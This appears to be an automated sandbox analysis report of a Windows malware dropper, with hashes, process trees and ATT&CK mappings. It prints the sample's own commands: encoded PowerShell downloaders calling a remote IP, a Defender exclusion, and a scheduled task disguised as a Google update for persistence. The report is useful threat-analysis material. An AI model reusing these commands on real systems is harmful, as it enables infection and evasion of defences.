56275650856a05ae50a775dd760aeccb0cd67b4ab8c039c6a9ffafd4f09c8e5a

General

Target

file.exe
Size

35KB
MD5

e3d93c32eb9f34e27c6a74e3629b2a33
SHA1

d1ebf1a8da77cdc3da3b9740a43fc4f131ca7626
SHA256

56275650856a05ae50a775dd760aeccb0cd67b4ab8c039c6a9ffafd4f09c8e5a
SHA512

fd915278077be3fea0d35ef8489974673a479751720c1eabf8275318ec18003fabc2cccf7f13c4436d302ad12986b8d6a71ec58ae1bbad01811209412c65ef5b
SSDEEP

768:e+Sr8sRCa1cdjsZlczry4r/wOPpdwMNhghy0qt:e+0lRCa1cO7cy4kmTghy0w

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://62.204.41.194/go.png

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://62.204.41.194/F1.exe

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://62.204.41.194/me.png

Signatures

Blocklisted process makes network request 3 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

flow pid process

6 596 powershell.exe
7 1628 powershell.exe
8 296 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

NoSleep.exe

pid process

1996 NoSleep.exe
Loads dropped DLL 1 IoCs

Processes:

powershell.exe

pid process

596 powershell.exe
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

1540 schtasks.exe
Suspicious behavior: EnumeratesProcesses 7 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.execonhost.exe

pid process

1628 powershell.exe
296 powershell.exe
516 powershell.exe
596 powershell.exe
596 powershell.exe
596 powershell.exe
1364 conhost.exe

flow	pid	process
6	596	powershell.exe
7	1628	powershell.exe
8	296	powershell.exe

pid	process
1996	NoSleep.exe

pid	process
596	powershell.exe

pid	process
1540	schtasks.exe

pid	process
1628	powershell.exe
296	powershell.exe
516	powershell.exe
596	powershell.exe
596	powershell.exe
596	powershell.exe
1364	conhost.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.execonhost.exe

description	pid	process
Token: SeDebugPrivilege	1628	powershell.exe
Token: SeDebugPrivilege	296	powershell.exe
Token: SeDebugPrivilege	516	powershell.exe
Token: SeDebugPrivilege	596	powershell.exe
Token: SeDebugPrivilege	1364	conhost.exe

Suspicious use of WriteProcessMemory 31 IoCs

Processes:

file.exepowershell.exeNoSleep.execonhost.execmd.execmd.exe

description	pid	process	target process
PID 1800 wrote to memory of 1628	1800	file.exe	powershell.exe
PID 1800 wrote to memory of 1628	1800	file.exe	powershell.exe
PID 1800 wrote to memory of 1628	1800	file.exe	powershell.exe
PID 1800 wrote to memory of 596	1800	file.exe	powershell.exe
PID 1800 wrote to memory of 596	1800	file.exe	powershell.exe
PID 1800 wrote to memory of 596	1800	file.exe	powershell.exe
PID 1800 wrote to memory of 296	1800	file.exe	powershell.exe
PID 1800 wrote to memory of 296	1800	file.exe	powershell.exe
PID 1800 wrote to memory of 296	1800	file.exe	powershell.exe
PID 1800 wrote to memory of 516	1800	file.exe	powershell.exe
PID 1800 wrote to memory of 516	1800	file.exe	powershell.exe
PID 1800 wrote to memory of 516	1800	file.exe	powershell.exe
PID 596 wrote to memory of 1996	596	powershell.exe	NoSleep.exe
PID 596 wrote to memory of 1996	596	powershell.exe	NoSleep.exe
PID 596 wrote to memory of 1996	596	powershell.exe	NoSleep.exe
PID 1996 wrote to memory of 1364	1996	NoSleep.exe	conhost.exe
PID 1996 wrote to memory of 1364	1996	NoSleep.exe	conhost.exe
PID 1996 wrote to memory of 1364	1996	NoSleep.exe	conhost.exe
PID 1996 wrote to memory of 1364	1996	NoSleep.exe	conhost.exe
PID 1364 wrote to memory of 1172	1364	conhost.exe	cmd.exe
PID 1364 wrote to memory of 1172	1364	conhost.exe	cmd.exe
PID 1364 wrote to memory of 1172	1364	conhost.exe	cmd.exe
PID 1364 wrote to memory of 1636	1364	conhost.exe	cmd.exe
PID 1364 wrote to memory of 1636	1364	conhost.exe	cmd.exe
PID 1364 wrote to memory of 1636	1364	conhost.exe	cmd.exe
PID 1172 wrote to memory of 1540	1172	cmd.exe	schtasks.exe
PID 1172 wrote to memory of 1540	1172	cmd.exe	schtasks.exe
PID 1172 wrote to memory of 1540	1172	cmd.exe	schtasks.exe
PID 1636 wrote to memory of 1600	1636	cmd.exe	schtasks.exe
PID 1636 wrote to memory of 1600	1636	cmd.exe	schtasks.exe
PID 1636 wrote to memory of 1600	1636	cmd.exe	schtasks.exe

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1800

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -enc IAAgACQAZgA1AD0AJwBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwAnADsAIAAkAGYAMQA9ACcAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAJwA7ACAAJABmADMAPQAnAGEAZABTAHQAcgBpAG4AZwAoACcAJwBoAHQAdABwADoALwAvADYAMgAuADIAMAA0AC4ANAAxAC4AMQA5ADQALwBnAG8ALgBwAG4AZwAnACcAKQAnADsAJABHAE8ATwA9AEkAYABFAGAAWAAgACgAJABmADEALAAkAGYANQAsACQAZgAzACAALQBKAG8AaQBuACAAJwAnACkAfABJAGAARQBgAFgA
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1628

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -enc JABQAHIAbwBjAE4AYQBtAGUAIAA9ACAAIgBOAG8AUwBsAGUAZQBwAC4AZQB4AGUAIgANAAoAJABXAGUAYgBGAGkAbABlACAAPQAgACIAaAB0AHQAcAA6AC8ALwA2ADIALgAyADAANAAuADQAMQAuADEAOQA0AC8ARgAxAC4AZQB4AGUAIgANAAoAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAVwBlAGIARgBpAGwAZQAsACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAFAAcgBvAGMATgBhAG0AZQAiACkADQAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAoACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAFAAcgBvAGMATgBhAG0AZQAiACkA
2⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:596

C:\Users\Admin\AppData\Roaming\NoSleep.exe
"C:\Users\Admin\AppData\Roaming\NoSleep.exe"
3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1996

C:\Windows\System32\conhost.exe
"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Roaming\NoSleep.exe"
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1364

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "GoogleUpdateTaskMachineQC" /tr "\"C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe\""
5⤵
- Suspicious use of WriteProcessMemory
PID:1172

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "GoogleUpdateTaskMachineQC" /tr "\"C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe\""
6⤵
- Creates scheduled task(s)
PID:1540

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /run /tn "GoogleUpdateTaskMachineQC"
5⤵
- Suspicious use of WriteProcessMemory
PID:1636

C:\Windows\system32\schtasks.exe
schtasks /run /tn "GoogleUpdateTaskMachineQC"
6⤵
PID:1600

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -enc IABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQAnAFwAQQBwAHAARABhAHQAYQAnAA==
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:516

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -enc IAAgACQAZgA1AD0AJwBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwAnADsAIAAkAGYAMQA9ACcAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAJwA7ACAAJABmADMAPQAnAGEAZABTAHQAcgBpAG4AZwAoACcAJwBoAHQAdABwADoALwAvADYAMgAuADIAMAA0AC4ANAAxAC4AMQA5ADQALwBtAGUALgBwAG4AZwAnACcAKQAnADsAJABHAE8ATwA9AEkAYABFAGAAWAAgACgAJABmADEALAAkAGYANQAsACQAZgAzACAALQBKAG8AaQBuACAAJwAnACkAfABJAGAARQBgAFgA
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:296

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
ee0fbbfea1b75df7f202c3a3abdc1fa7

SHA1
2c6b37dbb35817638c24e384506c7649d529c74d

SHA256
757ae84e6c32b6333cb2081eed72640b59b41b85698c7b55beed25756b4215f9

SHA512
8ef4eaf74ba8fc8c91dc209c7a7cd287fcb44ef831d6fa1175d6eaaab491fef854f5b20b97ae9c1a51a44468342578682756e4c9668da403efb46bddcb3e3179

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
ee0fbbfea1b75df7f202c3a3abdc1fa7

SHA1
2c6b37dbb35817638c24e384506c7649d529c74d

SHA256
757ae84e6c32b6333cb2081eed72640b59b41b85698c7b55beed25756b4215f9

SHA512
8ef4eaf74ba8fc8c91dc209c7a7cd287fcb44ef831d6fa1175d6eaaab491fef854f5b20b97ae9c1a51a44468342578682756e4c9668da403efb46bddcb3e3179

Download Submit
C:\Users\Admin\AppData\Roaming\NoSleep.exe
Filesize
4.4MB

MD5
da256d1a520061b14d1cd013d99e84ff

SHA1
1aad91448144852bd1bf83dcb85bd14c6db160da

SHA256
feb1d6051d70d694ffbb8a1663f9eb16f69967ca000251a38a57475922e77280

SHA512
8e1d9da1768a1388af28e29d202ed3f576ffb787ef3ae49badb1093eac121b1207923adba9b953f07e051e5d4a22b0976a20df3aa0ec9b7ebe216842380c6a71

Download Submit
C:\Users\Admin\AppData\Roaming\NoSleep.exe
Filesize
4.4MB

MD5
da256d1a520061b14d1cd013d99e84ff

SHA1
1aad91448144852bd1bf83dcb85bd14c6db160da

SHA256
feb1d6051d70d694ffbb8a1663f9eb16f69967ca000251a38a57475922e77280

SHA512
8e1d9da1768a1388af28e29d202ed3f576ffb787ef3ae49badb1093eac121b1207923adba9b953f07e051e5d4a22b0976a20df3aa0ec9b7ebe216842380c6a71

Download Submit
\Users\Admin\AppData\Roaming\NoSleep.exe
Filesize
4.4MB

MD5
da256d1a520061b14d1cd013d99e84ff

SHA1
1aad91448144852bd1bf83dcb85bd14c6db160da

SHA256
feb1d6051d70d694ffbb8a1663f9eb16f69967ca000251a38a57475922e77280

SHA512
8e1d9da1768a1388af28e29d202ed3f576ffb787ef3ae49badb1093eac121b1207923adba9b953f07e051e5d4a22b0976a20df3aa0ec9b7ebe216842380c6a71

Download Submit
memory/296-105-0x00000000024FB000-0x000000000251A000-memory.dmp

Filesize
124KB

Download
memory/296-88-0x00000000024FB000-0x000000000251A000-memory.dmp

Filesize
124KB

Download
memory/296-57-0x0000000000000000-mapping.dmp

Download
memory/296-77-0x000000001B8D0000-0x000000001BBCF000-memory.dmp

Filesize
3.0MB

Download
memory/296-73-0x000007FEF2750000-0x000007FEF32AD000-memory.dmp

Filesize
11.4MB

Download
memory/296-106-0x00000000024FB000-0x000000000251A000-memory.dmp

Filesize
124KB

Download
memory/296-68-0x000007FEF3DB0000-0x000007FEF47D3000-memory.dmp

Filesize
10.1MB

Download
memory/296-76-0x00000000024F4000-0x00000000024F7000-memory.dmp

Filesize
12KB

Download
memory/296-107-0x00000000024F4000-0x00000000024F7000-memory.dmp

Filesize
12KB

Download
memory/296-84-0x00000000024F4000-0x00000000024F7000-memory.dmp

Filesize
12KB

Download
memory/516-72-0x0000000002694000-0x0000000002697000-memory.dmp

Filesize
12KB

Download
memory/516-86-0x000000000269B000-0x00000000026BA000-memory.dmp

Filesize
124KB

Download
memory/516-69-0x000007FEF2750000-0x000007FEF32AD000-memory.dmp

Filesize
11.4MB

Download
memory/516-58-0x0000000000000000-mapping.dmp

Download
memory/516-85-0x0000000002694000-0x0000000002697000-memory.dmp

Filesize
12KB

Download
memory/516-81-0x0000000002694000-0x0000000002697000-memory.dmp

Filesize
12KB

Download
memory/516-79-0x000000001B8B0000-0x000000001BBAF000-memory.dmp

Filesize
3.0MB

Download
memory/516-66-0x000007FEF3DB0000-0x000007FEF47D3000-memory.dmp

Filesize
10.1MB

Download
memory/596-80-0x000000001B940000-0x000000001BC3F000-memory.dmp

Filesize
3.0MB

Download
memory/596-96-0x0000000002434000-0x0000000002437000-memory.dmp

Filesize
12KB

Download
memory/596-56-0x0000000000000000-mapping.dmp

Download
memory/596-83-0x0000000002434000-0x0000000002437000-memory.dmp

Filesize
12KB

Download
memory/596-64-0x000007FEF3DB0000-0x000007FEF47D3000-memory.dmp

Filesize
10.1MB

Download
memory/596-71-0x000007FEF2750000-0x000007FEF32AD000-memory.dmp

Filesize
11.4MB

Download
memory/596-87-0x000000000243B000-0x000000000245A000-memory.dmp

Filesize
124KB

Download
memory/596-75-0x0000000002434000-0x0000000002437000-memory.dmp

Filesize
12KB

Download
memory/596-95-0x000000000243B000-0x000000000245A000-memory.dmp

Filesize
124KB

Download
memory/1172-100-0x0000000000000000-mapping.dmp

Download
memory/1364-99-0x000000001B7D0000-0x000000001BC04000-memory.dmp

Filesize
4.2MB

Download
memory/1364-97-0x000000001BC30000-0x000000001C08C000-memory.dmp

Filesize
4.4MB

Download
memory/1364-98-0x0000000000190000-0x00000000005EB000-memory.dmp

Filesize
4.4MB

Download
memory/1540-103-0x0000000000000000-mapping.dmp

Download
memory/1600-104-0x0000000000000000-mapping.dmp

Download
memory/1628-89-0x000000000298B000-0x00000000029AA000-memory.dmp

Filesize
124KB

Download
memory/1628-70-0x000007FEF2750000-0x000007FEF32AD000-memory.dmp

Filesize
11.4MB

Download
memory/1628-90-0x0000000002984000-0x0000000002987000-memory.dmp

Filesize
12KB

Download
memory/1628-91-0x000000000298B000-0x00000000029AA000-memory.dmp

Filesize
124KB

Download
memory/1628-78-0x000000001B830000-0x000000001BB2F000-memory.dmp

Filesize
3.0MB

Download
memory/1628-82-0x0000000002984000-0x0000000002987000-memory.dmp

Filesize
12KB

Download
memory/1628-65-0x000007FEF3DB0000-0x000007FEF47D3000-memory.dmp

Filesize
10.1MB

Download
memory/1628-74-0x0000000002984000-0x0000000002987000-memory.dmp

Filesize
12KB

Download
memory/1628-59-0x000007FEFC2D1000-0x000007FEFC2D3000-memory.dmp

Filesize
8KB

Download
memory/1628-55-0x0000000000000000-mapping.dmp

Download
memory/1636-102-0x0000000000000000-mapping.dmp

Download
memory/1800-54-0x0000000000D90000-0x0000000000DA0000-memory.dmp

Filesize
64KB

Download
memory/1996-93-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads